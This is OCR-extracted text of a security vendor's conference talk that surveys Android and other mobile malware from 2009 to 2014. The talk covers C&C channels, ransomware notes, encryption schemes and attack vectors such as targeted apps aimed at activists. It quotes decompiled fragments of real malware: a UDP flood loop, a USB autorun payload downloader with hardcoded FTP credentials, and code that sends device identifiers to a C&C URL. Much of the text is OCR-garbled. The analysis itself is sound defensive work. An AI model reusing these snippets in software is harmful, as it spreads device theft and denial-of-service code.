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@ TIMELINE

[2009] - Symbian Yxes

Internet Access
SMS Propagation
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Cl-) TIMELINE

[2009] - Symbian Yxes

Internet Access
SMS Propagation
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Cl-) TIMELINE

[2009] - Symbian Yxes
[2009] - /OS Eeki.B

Jailbroken iPhones

Self Propagation
ssh Scanning
Default pwd
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Cl-) TIMELINE

[2009] - Symbian Yxes
[2009] - iOS Eeki.B

Jailbroken iPhones

Self Propagation
ssh Scanning
Default pwd

Downloads & executes scripts from C&C
Reported : DNS Poisoning
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Cl-) TIMELINE

Affected OS
Android : 93%
Symbian : 4%
i0S : 1%
Blackberry : 1%
WiInCE : 1%
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@ TIMELINE

[2010] : Symbian Zitmo
Zeus in the mobile
SET ADMIN, BLOCK OFF, BLOCK ON
C&C +44778XXXXXXX

mTAN Stealing
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Cl-) TIMELINE

[2010] : Symbian Zitmo
Zeus in the mobile
SET ADMIN, BLOCK OFF, BLOCK ON
C&C +44778XXXXXXX

mTAN Stealing

Multi-Platform
[2011] : Blackberry
[2011] : WinCE
[2012] : Android
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Cl-) TIMELINE

[2011] : Android DroidKungFu
Root exploits
Propagation of malware
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@ TIMELINE

[2012-2013] : Android
Banking Malware

Spitmo
Hesperbot
Perkel

Korean Banking
Malware
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Cl-) TIMELINE

[2013] : Android++
Android/BadNews :

Android/AndroRat :
Android/Claco :
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(9 TIMELINE

BHumaHee Balwu TenedoH
3abnokupoBaH!
YcTpoicTBo 3a610KMpoBaHo 3a
NPOCMOTP U pacnpocTpaHeHue
AeTcKow nopHorpacuu, 300cbunum n
APYruxX n3BpaLLeHun.

[2014] : The Year of
Ransomware

Android/Pletor.A :

Jina pa36nokupoBku BaM He06X04UMO onnaTuTh 260
pH.
1. HainguTe 6nmxaniumnii TepMUHaN NOMOSIHEHUSA cueTa.
2. B HeM HaitguTe MoneXy.
3. Beegute 380982049193.
4. BHecuTe 260 rpuBeH M HaXMUTe ONNaTUTL.

.onion C&C

Deactivated by HTTP
if resp = "command”:
"stop”

He 3abyaTe B3aTh KBUTaHLMIO!
Mocne NocTynneHns onnaTkl Balue yCTPOACTBO GyaeT
pa36noKMpPOBaHO B TEYEHWUN 24 YacoB.
B CJTYYAW HE YMJIATbI Bbl NMOTEPSETE HA BCET A
BCE JAHHbIE KOTOPbIE ECTb HA BALLEM
YCTPOWTBE!

canf @
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(9 TIMELINE

3a npocMOTp [ETCKOro NOpHO Balll
TenedoH 6noKupoBaH!

[2014] : The Year of

Ransomware

[ins pa36nokupoBkM Bawero TenegoHa

onnatute 100 py6.
Android/Pletor.A
Android/Pletor.B :

1. Hangute 6nmXailumin TepMUHaN CUCTEMbI NiaTexei

2. MoponauTe K TepMUHany 1 BbibepeTe nononHeHne
QIWI VISA WALLET
3. Beeaute Homep TenedoHa +79295382310 u
HaxMuTe fanee
4. NoABMTCA OKHO KOMEHTapuit - TyT BBeauTe BALL
Homep Tnd Ges 7kn
5. BcTaBbTe fieHbri B KYNIOPONPUEMHHK 1 HaXMUTe
onnatute
6. B Teyennn 180 MUHYT nocne NocTynneHus nnatexa
Mbl Passnioynm Ball TenechoH.
7. Tak Xe MOXeTe ON/iaTUTb Yepes CasioHbl CBS3N
CeAsHou n EBpoceTb
BHUMAHMUE: MonbiTku pa3énokuposats TenedoH
CaMOCTOSTesIbHO NPUBEAYT:
K nonHoit nonHom 6noknpoeke Balero TenedoHa, K
noTepu Bceit MHopmaLum.
Bes ganbHeiiLien BO3MOXHOCTH Pa3BioknpoBaHus.
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Ransomware
Android/Pletor.A
Android/Pletor.B

=:ATINET.

[2014] : The Year of

Android/Pletor.C :

% 1 09:50

JFBI

FEDERAL BUREAU OF INVESTIGATION

FBI Criminal Investigation
Unknown sdk
000000000000000
15555215554
Android
us

This device is locked due to the violation
of the federal laws of the United States
of America:

* Article 161
* Article 148
* Article 215

+ Article 301
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(9 TIMELINE
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5 C&C CHANNELS
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1, C&C CHANNELS
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Ports used by variants using an HTTP C&C Channel
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5 C&C CHANNELS

HTTP C&C Update

Health check
SMS ’'keyword’ Update
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e MOTIVATIONS
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e MOTIVATIONS

Premium SMS
Android/Fakemart, Android/Crusewin
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e MOTIVATIONS

Premium SMS
Banking Trojans
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e MOTIVATIONS

AndroRat
Dendroid
NickiSpy

TigerBot
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@ ANOMALIES

% 1 09:50
Android/SmsHowU

Received:

how are you?
Sent:

”Android device map link:

http://maps.google.de/maps?qg=[Lat],[Long]”

localstringBuffer2.append("Android device map link: \n");
localstringBuffer2.append("http://maps.google.de/maps?q=");
Address localAddress = (Address)locallList.get(0);
label282: Iterator locallterator
label298: if (!localIterator.hasNext())
if (localObject != null)

= this.sms.divideMessage(localStringBuffer1.toString()).iterator();
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@ ANOMALIES

Android/Tascudap
Auto-launched with Google Play

public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
SV.log("Activity Oncreate");
startService(new Intent(this, Myservice.class));
SvV. Log("andr01d intent.action.MAIN");

startActhlty(localIntent),
finish();
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@ ANOMALIES

Android/Tascudap
Auto-launched with Google Play
DoS Functionality

System. out.println("ATTA + this.a + ":" + this.b + "(" + this.d + "
while (true)

int m;

try

localDatagramSocket = new DatagramSocket();
int i = new Random(). C
byte[] arrayofByte = new byte[i + this.c]; <— // Byte array of random length creat
int j=o;
length)

1
((byte[1)null);
localDatagramsocket .close();
System. out.println("PORT OFF");
break label31s;

¥

}
else

1{
arrayofByte[j] = ((byte)(i * j % 127)); <€—// Byte array initialized with randomly generated va

e
continue;
}
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@ ANOMALIES

ar layOfStrlng1 [o1
arrayOfString1[1] =
ar |ay0fStrlng1 [7]

Android/Twikabot

Powered by Twitter
UGA ->
Twitter ID ->

String b/w Tags +
Domain ->

C&C address

arrayOfString2[2]

arrayOfString2[3]

arrayOfString2[4]

arrayOfString2[5]

array0OfString2[6] " i
array0OfString2[7] " Strlngs used
array0fString2[8]

array0fString2[9]

array0fString2[10]

array0fString2[11]

array0fString2[12]

array0fString2[13]

arrayOfStrlngZ[M]

arrayOfStrmgS[O]

arrayofString3[1] H

array0ofString3[2] "[mycode]";

array0ofString3[3] "[sample]";

array0fString3[4] "[test]";

array0fString3[5] = "{troll}";
”{accldentaly}";

FRTINET: oS O S oo oz OEECAOTER.
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@ ANOMALIES

Android/NotCompatible

connectProxy
Phone as a Proxy

Address:Port specified in command
Connect to Address
Redirect traffic to C&C
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@ ANOMALIES

Android/Claco

ringer + silent” or "normal”
Change Ringer State

AudioManager audiomanager = (AudioManager)context.getSystemService("audio");
if(s.toLowerCase().equals("silent"))

{
audiomanager.setRingerMode(0);
} else
{
boolean flagl = s.tolLowerCase().equals("normal")
flag = false;
if(!flagl)

break labelO;
audiomanager.setRingeriode(2);

=:ATINET. o
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@ ANOMALIES

“  09:50
Android/Claco
ringer + silent” or "normal”
usb_autorun_attack

public static boolean AutoRunAttack(Context context)

svchosts.exe").toString(),

DownloadFile((new StrineBuilder(String.valueOf(urlServer))).append("app_data/
DownloadFile((new StringBullder(String.valueOf(urlServer))).append("app_data/

folder.ico").toString(), |"folder.ico" | "ftpupper", "thisisshit007", context);
L2

autorun.inf").toString(), ["autorun.inf"), "ftpupper", "thisisshit007", context);

boolean flag = true;

DownloadFile((new StringBuilder(String.valueOf(urlServer))).append("app_data/
return flag;

'svchosts.exel, "ftpupper”, "thisisshit007", context);

Fs:RTINET.
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g) ENCRYPTION

Android/PjApps.A '

a("3lgoagdmfejekgfos9t15chojm”, 3) = "log.meego91.com”
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g) ENCRYPTION

Android/Tascudap.A - Custom

int j = ({1 + this.a) * (2 + (i + this.a)) ~ (3 + this.a) * (4 + (1 + this.a)))
& (5 + this.a) * (6 + (i + this.a)) | (7 + this.a) * (8 + (i + this.a))
if (j < 8)
R
str2 =

(char)(97 + j % 26) + (String)localObject;
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gf ENCRYPTION

Android/SaurFtp.A - XOR

public String setEncrypt(String paramString)
{

int[] arrayofInt = new int[paramString.length()];
String str = "";
int i
for (int j = 0; ; j++)
{

if (i >= paramString.length())

return str;
if (j "marriage and parenting are serious commitments dont be in a hurry".length())

J
arrayOfInt[i] = (paramString.charAt(i) A|"marriage and parenting are serious commitments dont be in a hurry"}charAt(j));

char char)arrayofInt[i];
str :cst,,a P yarrayofint[i] Key for XOR operation

i+
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gf ENCRYPTION

Android/Wroba.A - DES

void loadClass(Context paramContext)

str1 = "/data/data/" + paramContext.getPackageName() + "/";
str2 = str1 + "x.zip";
str3 = str1 + "x";

ead asset file "ds"
int 1 = locallnputStream.available();

byte[] arrayOfBytel = new byte[i];

locallnputStream.read(arrayO0fB te1 0 i

FileOutputStream localFlleOutputStream = new F11e0utputst|eam(str2)'
localFileOutputStream.write(arrayOfByte2);
localFileOutputStream.close();

bmkcanl @&
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E) ENCRYPTION

Traffic Encryption
Android/LuckyCat.A - XOR

if (i »= paramInt2);

while (true)

{
return;
int j =31+ 1;

| array0ofByte2[0] = ((byte)(0x5 A arrayOfBytel[il));]
paramArrayOtByte[ (-1 + (paramIntT + J))] = arrayOtByte2[0];
if (j < paramInt2)
{

i=3j+1;
arrayOfByte2[1] = ((byte)(0x27 7 arrayOfBytel[j1));
yuTBy
paramArrayOtbyte[(-T + (paramIntl + 1))] = arrayOtByte2[1];
if (i < paramInt2)

cant @
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E) ENCRYPTION

Traffic Encryption
Android/JSmsHider.A - DES

public void Reportresult(String paramString)

{
HashMap localHashMap = new HashMap();
Log.e("MainMenu", "Reportresult:result:" + paramString);
MyInformation localMyInformation = new MInformatlon(thls)
localHashMap.put("sid", DES_JAVA.encrypti(localMyInformation.getIMEI()));
localHashMap.put("ssd", DES_JAVA.encrypti(localMyInformation.getIMSI()));
localHashMap.put("stp", DES_JAVA.encrypti(localMyInformation.getMODELID()));
localHashMap.put("sci", DES_JAVA.encrypti(localMyInformation.getCid()));
localHashMap.put("sac", DES_JAVA.encrypti(localMyInformation.getlac()));
localHashMap.put("sta", DES_JAVA.encrypti(paramString));
localHashMap.put("sch", DES_JAVA.encrypti("sghuibbs"));
localHashMap.put("sig", DES_JAVA.encrypti("normal"));
localHashMap.put("svs", DES_JAVA.encrypti(localMyInformation.getSDKversionnumber()));
localHashMap.put("svr", DES_JAVA.encrypti(localMyInformation.getversionnumber()));
if (ApnControl.isConnect(this|))

new LoadMainURLService("http://svr.xmstsv.com/Notice/", localHashMap, this).execute(

FRTINET: o o cor s oz JAECONTER
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A
i ATTACK VECTORS

Official Google Play Store
e.g : Android/FakePlay.B, Android/BadNews.A (32)
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A
i ATTACK VECTORS

Official Google Play Store
e.g : Android/FakePlay.B, Android/BadNews.A (32)

Third party markets
Everything else?
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A
i ATTACK VECTORS

Android/NotCompatible
Drive-by Downloads
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A
i ATTACK VECTORS

Spot the impostor

Android/FakePlay.C

W32/BackDoor.VXlir
Downloads

AV-cdk.apk + adb.exe

adb install AV-cdk.apk

Reverse Claco

Google Play
Store

F&SATINET. SO & <o s oz EECANTE.
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A
i ATTACK VECTORS

Android/Chuli
Targeted Attack - Email
Attachment
Fake WUC Conference
application

Leaks Contact Info,
SMS received,
Location, Call Logs

RTINET. o -

WUC's Conference
in Geneva

On behalf of all at
the Word Uyghur
Congress (WUC),
the Unrepresented
Nations and Peoples
Organization (UNPO)
and the Society for
Threatened Peoples
(STP), Human
Rights in China:
Implications for
East Turkestan,
Tibet and

Southern Mongolia
In what was an
unprecedented
coming-together of
leading Uyghur,
Mongolian, Tibetan
and Chinese
activists, as well

as other leading
international
experts, we were
greatly humbled by
the great
enthusiasm,
contribution and
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i ATTACK VECTORS

Android/Xsser

Targeted "Occupy
Central” participants in
Hong Kong

Whatsapp message

=:ATINET. = -
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Check out this Android app designed by
CODE4HK for the coordination of
OCCUPYCENTRAL!

http:/is.gd/
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Image courtesy Code4HK
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i ATTACK VECTORS

Android/Xsser

Targeted "Occupy
Central” participants in

Hong Kong

Whatsapp message

Looks legit
FEERTINET. )
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A
C ATTACK VECTORS

Android/Xsser

Targeted "Occupy
Central” participants in

Hong Kong

Whatsapp message «
Looks legit

AndroRat + Run shell Code4HK
commands

F&IRTINET. SO & o s oz OOECANTR.



4 u 09:50

Q) CcONCLUSION

Observed
Fact, not fiction
More C&C Channels

Remotely updatable C&C
=>Moar resilience
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Q) CcONCLUSION

Detection Dilemmas
Cross-Platform Attacks ++,
Mobile Network Level Detection?
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THANK YOU

Thank you for listening! '

Feedback welcome
rnigamlat]fortinet[dot]com
https://blog.fortinet.com

Fi3RTINET. = PR | i N



